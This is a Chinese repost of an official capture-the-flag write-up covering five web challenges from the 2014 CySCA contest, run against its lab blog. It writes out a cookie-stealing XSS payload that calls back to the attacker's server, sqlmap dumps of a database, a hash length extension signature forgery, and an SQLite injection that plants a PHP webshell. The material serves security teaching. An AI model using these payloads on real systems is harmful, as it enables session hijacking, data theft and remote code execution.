2014年澳大利亞資訊保安挑戰 CySCA CTF 官方write up Web篇

wyzsk發表於2020-08-19
作者: insight-labs · 2014/06/22 22:56

from:https://www.cyberchallenge.com.au/CySCA2014_Web_Penetration_Testing.pdf

0x00 背景


一年一度的澳洲CySCA CTF是一個由澳洲政府和澳洲電信Telstra贊助的資訊保安挑戰賽,主要面向澳洲各大學的安全和電腦科學專業的學生。

CTF環境全部虛擬化並且需要openvpn才能進入。

0x01 第一題 非請勿入


說明:

一個只有VIP使用者才能進去的blog,想辦法進去後就能看到flag了。

解題:

開啟burp和瀏覽器開始觀察目標,我們發現了幾個有意思的地方:

有個使用者登入頁面 login.php  
blog導航欄裡有個部落格頁面的連結,但是是灰色的無法點選也打不開  
cookie有兩個,PHPSESSID還有vip=0  
cookie沒有http only,有可能被xss到  

vip=0,這有點明顯,用burp或者瀏覽器cookie編輯工具把vip改成1,重新整理頁面後那個隱藏的連結可以開啟了,開啟後就是flag: ComplexKillingInverse411

0x02 第二題 好吃的小甜餅


說明:

用已任何已註冊使用者的身份成功登入blog。

解題:

翻了翻這個部落格,又發現了幾個好玩的地方:

可以看部落格內容  
可以新增回復  
使用者Sycamore似乎正在看第二篇部落格 view=2  

Burp的內建外掛 intruder可以用來在提交的引數裡插入sql注入或者xss程式碼,Kali中自帶了幾個xss和sql注入的字典:

/usr/share/wfuzz/wordlist/Injections/SQL.txt   
/usr/share/wfuzz/wordlist/Injections/XSS.txt 

用這幾個字典裡的標準注入語句和xss程式碼對 GET view=?和 POST comment=?這兩個引數過了一遍,沒發現任何xss或者注入,於是我們決定對comment這個地方再仔細看看。

comment引數似乎過濾了不少東西,比如去掉了所有引號,轉義了全部html特殊字元。但是似乎comment支援markdown語言裡的斜體,粗體和連結標籤,然後我們用burp intruder的xss測試在下面幾個輸入裡面測試:

*test*   
*test*   
<test>   

果然成功了,在markdown連結標籤的連結名稱的地方存在XSS:

 

後續測試發現連結名稱最長只能用30字元,翻了翻OWASP的XSS cheat sheet,

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

最短的是這個:

<SCRIPT SRC=//ha.ckers.org/.j>   

在Kali中,新建個檔案 .j,裡面放點偷cookie的js:

$.get('http://192.168.16.101?cookie='+document.cookie);  

然後在同目錄下用python開個http伺服器:

python ­-m SimpleHTTPServer 80

傳送XSS payload [<SCRIPT SRC=//192.168.16.101/.j>][1]

然後坐等目標上鉤...
.
.
.
等了這麼久怎麼還沒有?
原來是192.168.16.101這個ip太長了,payload被截斷了……
再仔細想想,好像很多瀏覽器支援十進位制IP的,於是我們的payload變成了:

[<script src=//3232239717/.j>][1]   

好吧,其實還是超過了30位,不過比賽的時候這個長度被改成了75位所以無所謂了。

傳送這個payload後,過了一會兒在控制檯裡出現了Python HTTP Server的日誌:

172.16.1.80 ­ ­ [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 ­   
172.16.1.80 ­ ­ [20/Feb/2014 16:11:12] "GET   
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301

偽造cookie重新整理後拿到flag: OrganicShantyAbsent505 

0x03 第三題 Nonce-Sense


說明:

Flag在資料庫裡。

解題:

用上面使用者的cookie登入後逛了一下,發現使用者可以在自己的blog下面刪除評論,這個功能是透過ajax POST到deletecomment.php實現的,提交的內容裡有CSRF token。

CSRF token會被最先檢查,如果不對的話會直接返回錯誤,這樣導致對提交的引數進行自動化測試會比較困難,好在burp提供了宏這個功能,可以讓我們自動採集CSRF token然後提交。

每次POST到deletecomment.php這個頁面都會返回一個不同的CSRF token,下次提交的時候必須帶著才行。

我們可以用burp裡的session handler中的宏來抓取,我建議你先讀一下這篇:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­1/

透過SQL intruder外掛,很快就可以發現在comment_id引數中存在SQL隱碼攻擊。

{"result":false,"error":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' at line 1","csrf":"43b461afdd56f52f"}  

找到注入點後,拿上順手的SQLMAP和Burp的proxy session宏結合起來,參考這裡:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­2/

把sqlmap的請求都儲存到檔案裡,並且確保更新session cookie

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')

...
heuristic (parsing) test showed that the back­end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error­based ­
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n 

現在我們確認了sqlmap和burp都正確配置了,接下來就可以把庫拖下來了。

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
­­current­db
current database:    'cysca'

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­­tables
Database: cysca

#> sqlmap ­r /root/sql­web3­headers
[5 tables]
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+
| user                                  |
| blogs                                 |
| comments                              |
| flag                                  |
| rest_api_log                          |
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T flag ­­dump
[1 entry]
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| flag                 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| CeramicDrunkSound667 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+

flag: CeramicDrunkSound667

0x04 第四題:Hypertextension


說明:

在快取控制皮膚裡面找到flag。

解題:

控制皮膚是REST API的形式,在說明文件裡面寫了這個API有新增檔名然後讀取檔案內容的功能,也許我們能用這個功能來讀取PHP原始碼?

首先需要找到API key,在上一題裡似乎資料庫中有個表名叫rest_api_log,我們用SQLMAP把表拖下來看看:

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D cysca ­T rest_api_log ­­dump
Database: cysca
Table: rest_api_log
[4 entries] +­­­­+­­­­­­­­+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+­­­­­­­­­­­­­­­­­ ­+­­­­­­­­­­­­­­­­­­­­­+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+
| id | method | params
| api_key | created_on | request_uri | +­­­­+­­­­­­­­+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+­­­­­­­­­­­­­­­­­ ­+­­­­­­­­­­­­­­­­­­­­­+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+
|1 |POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s ig=235aca08775a2070642013200d70097a | b32GjABvSf1Eiqry | 2014­02­21 09:27:20 | \\/api\\/documents |
|2 |GET |_url=%2Fdocuments&id=2
| NULL
|3 |POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api.txt&api_sig=95a0e7dbe06 fb7b77b6a1980e2d0ad7d | b32GjABvSf1Eiqry | 2014­02­21 11:54:31 | \\/api\\/documents |
|4|PUT | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api­ v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014­02­21 12:07:43 | \\/api\\/documents\\/id\\/3 | +­­­­+­­­­­­­­+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+­­­­­­­­­­­­­­­­­ ­+­­­­­­­­­­­­­­­­­­­­­+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+ 

利用裡面的其中一條,放到curl裡面測試一下,根據REST API的文件,curl命令應該是這樣的:

#> curl ­X PUT ­d
'contenttype=text/plain&filepath=./documents/rest­api­v2.txt&api_sig=6854c04381284dac9970625820a8d32b' ­H 'X­Auth: b32GjABvSf1Eiqry'

http://172.16.1.80/api/documents/id/3

根據文件,api_sig的值是在php裡面生成的:

hashlib.md5(secret+'contenttypetext/plainfilepath./documents/rest­api­v2.txtid3').  
hexdigest()  

secret作為雙方都共享的值,後面加上目標檔案的路徑,生成的md5 hash作為api簽名,在不知道secret的情況下,似乎無法利用任意路徑生成合法的簽名。

但是真的是這樣麼?

幾年前著名應用 Flickr曾經因為Hash簽名使用方法不正確結果掉進了很大的坑裡,那就是 Hash長度擴充套件攻擊(Hash length extension attack),導致可以在不知道API secret的情況下偽造任意請求。

關於Flickr的坑請看這裡:

http://netifera.com/research/flickr_api_signature_forgery.pdf

Hash長度擴充套件攻擊能夠實現是因為 foo=bar 和 fo=obar 會產生一樣的hash簽名,所以我們可以生成一個可以讓我們在原引數後面新增新引數,並且簽名還是可以透過檢驗的。

比如這個請求:

"contenttype=text/plain&filepath=./documents/rest­api­v2.txt"   

如果我們把它改成:

"c=ontenttypetext/plain&filepath=./documents/rest­api­v2.txt&contenttype=text/plain&filepath=./index.php"  

那麼在計算hash的時候字串就會變成這樣:

SECRETcontenttypetext/plainfilepath=./documents/rest­api­v2.txtcontenttype=text/plainfilepath=./index.phpid3  

因為資料在被hash的時候會被分割成固定長度的塊,前面的塊生成的hash會放入下一個塊中和塊的內容一起繼續hash,直到最後一個塊,最後一個塊生成的hash就是我們最後得到的hash,也就是前面的api_sig。

現在我們知道了前面所有塊產生的hash,如果我們自己再造一個塊,把這個hash當成前面的塊的hash放進我們自己建立的塊中來hash一下會發生什麼?

結果我們在不知道secret的情況下獲得了可以在原文後新增任意內容並且產生合法hash的方法。

大部分web server在處理同樣引數的不同內容時傾向於選擇後面的,例如foo=1&foo=2,最後foo的值是2,但是有些web server也會使用前面的,這樣這個方法是不是就不能用了?

根據這個API的文件,引數和值會拼接在一起然後一起hash,例如,foo=bar&foo1=bar1會被變成字串foobarfoo1bar1,所以假如我們把foo=bar變成fo=obar,拼接後的字串還是foobarfoo1bar,這樣我們就可以完全控制需要更改的引數了。

現在開始利用這個漏洞,首先下載並且編譯工具 HashPump (https://github.com/bwall/HashPump),然後利用它來生成我們需要的hash。因為我們不知道secret的長度,所以需要窮舉key的長度(hashpump的k引數)

#> ./hashpump ­s 6854c04381284dac9970625820a8d32b ­­data
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3 ­a
contenttypetext/plainfilepath./index.phpid3 ­k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3 

我們把每次嘗試k值生成的hash和字串用curl提交到伺服器,直到伺服器提示成功為止,經過多次測試,我們發現k值是16.

#> curl ­-X PUT -­d
'c=ontenttypetext/plainfilepath./documents/rest­api­v2.txtid3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&filepath=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14'  ­H 'X­Auth:b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3

接下來我們就成功獲取了index.php的原始碼(成功的把index.php的原始碼作為document id 3 儲存):

#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}
**** SNIP **** 

似乎這個cache.php有點意思,我們改改上面的hash長度攻擊利用程式碼,把index.php換成cache.php,這次我們成功的拿到了flag。

#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
header('Location: /index.php');
die();
}
**** SNIP **** 

0x05 第五題:注入空間 Injeption(尼瑪真難翻譯)


說明:

Web篇最後的flag藏在 /flag.txt裡,你能拿到麼?

解題:

上一題cache.php裡面的原始碼最後寫了,提交的引數access的值必須是上一題flag的md5,瀏覽器開啟cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 顯示的是一個很簡單的表單,表單提交了兩個引數,URI和標題,在cache.php裡面對這兩個引數嚴格檢查,比如URI引數前面必須是http://開頭,伺服器必須是本地,然後這個URI必須真實存在,不能是404.

標題被限制在40字元以內,但是不會過濾引號,似乎可以被注入。

我們嘗試在標題裡提交 /* ,返回了錯誤資訊:

near "/*', '59ab7c9e3917a154ff56a43d08a262ab','http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error

熟悉的SQL顯錯注入,根據錯誤資訊,後端資料庫似乎是SQLite,透過檢視lib/caching.php的原始碼我們可以確認這一點,透過原始碼我們還可以看出,URI所指向的頁面內容被直接存進了資料庫中。

考慮到40個字元的限制不能進行任何有利用價值的SQL隱碼攻擊,我們需要找到一個可以注入長字串的方法,頁面內容輸出快取的功能現在派上用場了。

幸運的是,我們可以控制並且注入沒轉義過的單引號到快取頁面,並且把快取頁面自己快取了,把在標題中的幾個較短的注入語句拼接在一起,一個完整的注入語句就能在快取頁面被存入資料庫的時候執行。

這裡有個很好用的SQLite注入 cheat sheet,可以直接透過注入拿shell!

http://atta.cked.me/home/sqlite3injectioncheatsheet

我們的目標是利用這段注入語句拿到shell:

',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b VALUES ('<? system($_GET[''cmd'']); ?>');/* 

我們如何用40個字元的長度注入122字元的SQL語句? SQL塊註釋!

這需要一些額外的轉義並且把php的拼接指令'||'分開:

'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*
*/''_GET[''''cmd'''']); ?>'');/*

當這些標題一個個出現在快取頁面中的時候,我們把快取頁面給快取了,我們的注入語句就被執行了,並且生成了webshell a.php

我們現在就可以在伺服器上執行任意指令了! 比如 cat /flag.txt

# > curl http://172.16.1.80/a.php?cmd=cat+/flag.txt   

CFlag: TryingCrampFibrous963 

Web篇完結。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章